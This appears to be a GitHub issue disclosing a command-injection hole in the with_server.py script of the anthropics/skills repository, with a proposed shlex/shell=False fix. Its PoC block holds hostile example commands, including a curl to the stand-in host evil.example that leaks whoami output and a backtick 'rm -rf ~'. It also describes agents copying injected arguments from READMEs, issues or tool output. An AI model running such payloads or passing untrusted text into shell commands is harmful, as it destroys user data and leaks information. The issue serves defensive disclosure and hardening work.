anthropics / anthropics/skills
with_server.py: command injection via --server in Popen shell=True
- Vorherrschende Sprache
- Python
- Sterne
- 176k
- Forks
- 20.8k
- Ø Merge
- 7 Std. 21 Min.
- Gemergte PRs (30 T.)
- 5
Beschreibung
## Summary
`skills/webapp-testing/scripts/with_server.py` uses `subprocess.Popen(server['cmd'], shell=True, ...)` with a CLI-supplied string. When this script is invoked by an AI agent from a prompt-driven workflow, a malicious or injected `--server` value can execute arbitrary shell commands on the host. Even under a "trusted CLI input only" assumption, the trust boundary collapses the moment an agent copies `--server` arguments out of a README, an issue body, or tool output — the script has no way to tell.
Switching to `shlex.split` + `shell=False` (plus an explicit `--cwd` flag for the `cd X && ...` use case the comment alludes to) closes this hole without losing functionality.
### PoC
```bash
# Any of these achieve arbitrary command execution under shell=True:
python with_server.py --server "python -m http.server; touch /tmp/pwned"
python with_server.py --server "python server.py && curl evil.example/$(whoami)"
python with_server.py --server 'python server.py `rm -rf ~`'
```
## Where
https://github.com/anthropics/skills/blob/main/skills/webapp-testing/scripts/with_server.py#L64-L74
```python
# Use shell=True to support commands with cd and &&
process = subprocess.Popen(
server['cmd'],
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
```
## Why it matters
- The wrapper is invoked by a Claude-driven workflow. If untrusted input (e.g. a README snippet, an issue body, or a tool output that the agent copy-pastes into the command) reaches `--server`, command injection becomes trivial.
- Even for trusted human operators, `shell=True` makes the exit semantics murky on POSIX vs. Windows and complicates signal forwarding (`terminate()` only kills the `sh -c` parent; children can survive).
- Audit tooling that scans `anthropics/skills` flags this pattern as HIGH (`subprocess_shell_true`) and `shebang`-adjacent heuristics elevate it further. Fixing it upstream removes a persistent false-positive/genuine-finding on every downstream audit.
## Proposed fix
Replace the `shell=True` invocation with a split argv and an explicit working directory:
```python
import shlex
parser.add_argument(
'--cwd',
action='append',
dest='cwds',
default=[],
help='Working directory for the matching --server (repeat to match each --server)',
)
# ... after parsing ...
for i, server in enumerate(servers):
argv = shlex.split(server['cmd'])
cwd = args.cwds[i] if i < len(args.cwds) else None
process = subprocess.Popen(
argv,
cwd=cwd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
```
Migration notes:
- Existing `--server "cd backend && python server.py"` invocations become `--server "python server.py" --cwd backend`.
- The `&&` chaining pattern is not used in the bundled examples, so breakage should be limited; the change is backwards-compatible for users who update their invocations.
- If `&&` chaining is deemed essential, an opt-in `--shell` flag would keep the default safe while preserving the legacy behaviour for trusted contexts.
- `shlex.split` uses POSIX rules by default and can mis-tokenize on Windows; if cross-platform support matters, pass `posix=(os.name != "nt")` or document the Windows quoting rules.
### Breaking-change surface
Dropping `shell=True` also drops shell-side parsing. Any of the following in existing `--server` values stops working and must be restructured:
- `&&` / `||` / `;` / `|` command chaining and pipelines
- Shell globbing (`*.py`, `?`, `[a-z]`)
- Environment-variable expansion (`$VAR`, `${VAR}`)
- Backtick or `$(...)` command substitution
- Shell redirection (`>`, `>>`, `<`, `2>&1`)
- Unquoted whitespace handling that relied on the shell to re-tokenize
`shlex.split` preserves quoted arguments and literal whitespace but not the constructs above. Most of them are the same constructs that make `shell=True` injectable, so losing them is usually the point — but callers who relied on them (e.g. redirecting server logs with `>`) will need to move that logic into a wrapper script or use Python-level equivalents (`stdout=open(...)`, `env={...}`).
## Additional hardening (optional)
- Pass `start_new_session=True` (POSIX) or `creationflags=CREATE_NEW_PROCESS_GROUP` (Windows) so `terminate()` can reach the whole process tree.
- Drop the `PIPE` defaults or drain them in a thread — large server logs will deadlock on `process.wait()` once the pipe buffer fills.
## Context
Discovered while auditing `anthropics/skills` with a plugin-scanner that flags `subprocess.Popen(..., shell=True)` on user-controlled input. Filing this upstream so the pattern is fixed at source rather than warned about in every downstream audit.
I'm happy to send a PR if the direction above looks right.
Beitragsleitfaden
Für dieses Repository ist kein Beitragsleitfaden indexiert
Bewertung
Dieses Issue wurde noch nicht bewertet.